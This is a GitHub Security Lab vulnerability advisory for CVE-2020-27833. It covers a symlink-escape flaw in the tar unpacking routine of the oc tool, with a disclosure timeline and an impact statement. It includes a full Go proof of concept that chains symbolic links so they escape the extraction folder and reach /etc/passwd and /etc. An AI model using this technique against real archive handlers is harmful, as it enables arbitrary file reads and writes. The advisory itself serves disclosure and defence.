January 12, 2021

GHSL-2020-261: Unsafe handling of symbolic links in oc unpacking routine - CVE-2020-27833

GitHub Security Lab Team

Coordinated Disclosure Timeline

  • 11/30/2020: reported to security@hashicorp.com
  • 12/01/2020: issue is acknowledged
  • 12/10/2020: CVE advisory is published

Summary

The unsafe handling of symbolic links in an unpacking routine may enable attackers to read and/or write to arbitrary locations outside the designated target folder.

Product

oc

Tested Version

Latest commit at the time of reporting (November 27, 2020).

Details

Unsafe handling of symbolic links in unpacking routine

The routine unpackLayer attempts to guard against creating symbolic links that point outside the directory a tar archive is extracted to. However, a malicious tarball first linking subdir/parent to .. (allowed, because subdir/.. falls within the archive root) and then linking subdir/parent/escapes to .. results in a symbolic link pointing to the tarball's parent directory, contrary to the routine's goals.

Proof of concept, using a version of unpackLayer tweaked to accept an array of tar headers instead of working from an actual tar archive:

package main

import (
  "archive/tar"
  "fmt"
  "os"
  "path/filepath"
  "strings"

  "github.com/docker/docker/pkg/system"
)

func main() {
  var headers []tar.Header = make([]tar.Header, 4)

  headers[0].Name = "subdir/"
  headers[0].Typeflag = tar.TypeDir

  headers[1].Name = "subdir/parent"
  headers[1].Linkname = ".."
  headers[1].Typeflag = tar.TypeSymlink

  headers[2].Name = "subdir/parent/passwd"
  headers[2].Linkname = "../../etc/passwd"
  headers[2].Typeflag = tar.TypeSymlink

  headers[3].Name = "subdir/parent/etc"
  headers[3].Linkname = "../../etc"
  headers[3].Typeflag = tar.TypeSymlink

  err := unpackLayer("/tmp/extracthere", headers)
  if err != nil {
    fmt.Println(err)
  }
}

func unpackLayer(dest string, headers []tar.Header) (err error) {

  // Iterate through the files in the archive.
  for _, hdr := range headers {

    // Normalize name, for safety and for a simple is-root check
    hdr.Name = filepath.Clean(hdr.Name)

    // Note as these operations are platform specific, so must the slash be.
    if !strings.HasSuffix(hdr.Name, string(os.PathSeparator)) {
      // Not the root directory, ensure that the parent directory exists.
      // This happened in some tests where an image had a tarfile without any
      // parent directories.
      parent := filepath.Dir(hdr.Name)
      parentPath := filepath.Join(dest, parent)

      if _, err := os.Lstat(parentPath); err != nil && os.IsNotExist(err) {
        err = system.MkdirAll(parentPath, 0755)
        if err != nil {
          return err
        }
      }
    }

    path := filepath.Join(dest, hdr.Name)
    rel, err := filepath.Rel(dest, path)
    if err != nil {
      return err
    }

    // Note as these operations are platform specific, so must the slash be.
    if strings.HasPrefix(rel, ".."+string(os.PathSeparator)) {
      return fmt.Errorf("%q is outside of %q", hdr.Name, dest)
    }
    base := filepath.Base(path)

    if strings.HasPrefix(base, "archive.WhiteoutPrefix") {
      // ...
    } else {
      // If path exits we almost always just want to remove and replace it.
      // The only exception is when it is a directory *and* the file from
      // the layer is also a directory. Then we want to merge them (i.e.
      // just apply the metadata from the layer).
      if fi, err := os.Lstat(path); err == nil {
        if !(fi.IsDir() && hdr.Typeflag == tar.TypeDir) {
          if err := os.RemoveAll(path); err != nil {
            return err
          }
        }
      }

      srcHdr := hdr

      // Hard links into /.wh..wh.plnk don't work, as we don't extract that directory, so
      // we manually retarget these into the temporary files we extracted them into
      if hdr.Typeflag == tar.TypeLink && strings.HasPrefix(filepath.Clean(hdr.Linkname), "archive.WhiteoutLinkDir") {
        // ...
      }

      if err := createTarFile(path, dest, srcHdr); err != nil {
        return err
      }

    }
  }

  return nil
}

func createTarFile(path, extractDir string, hdr tar.Header) error {

  // ...

  switch hdr.Typeflag {

  case tar.TypeDir:
    // Create directory unless it exists as a directory already.
    // In that case we just want to merge the two
    if fi, err := os.Lstat(path); !(err == nil && fi.IsDir()) {
      if err := os.Mkdir(path, 0755); err != nil {
        return err
      }
    }

  case tar.TypeSymlink:
    //   path         -> hdr.Linkname = targetPath
    // e.g. /extractDir/path/to/symlink   -> ../2/file  = /extractDir/path/2/file
    targetPath := filepath.Join(filepath.Dir(path), hdr.Linkname)

    // the reason we don't need to check symlinks in the path (with FollowSymlinkInScope) is because
    // that symlink would first have to be created, which would be caught earlier, at this very check:
    if !strings.HasPrefix(targetPath, extractDir) {
      return fmt.Errorf("invalid symlink %q -> %q", path, hdr.Linkname)
    }
    if err := os.Symlink(hdr.Linkname, path); err != nil {
      return err
    }

  default:
    return fmt.Errorf("unhandled tar header type %d", hdr.Typeflag)
  }

  // ...

  return nil
}

Impact

This issue may lead to arbitrary file write (with same permissions as the program running the unpack operation) if the attacker can control the archive file. Additionally, if the attacker has read access to the unpacked files, he may be able to read arbitrary system files the parent process has permissions to read.

CVE

  • CVE-2020-27833

Resources

Credit

This issue was discovered and reported by GitHub team member @smowton (Chris Smowton).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2020-261 in any communication regarding this issue.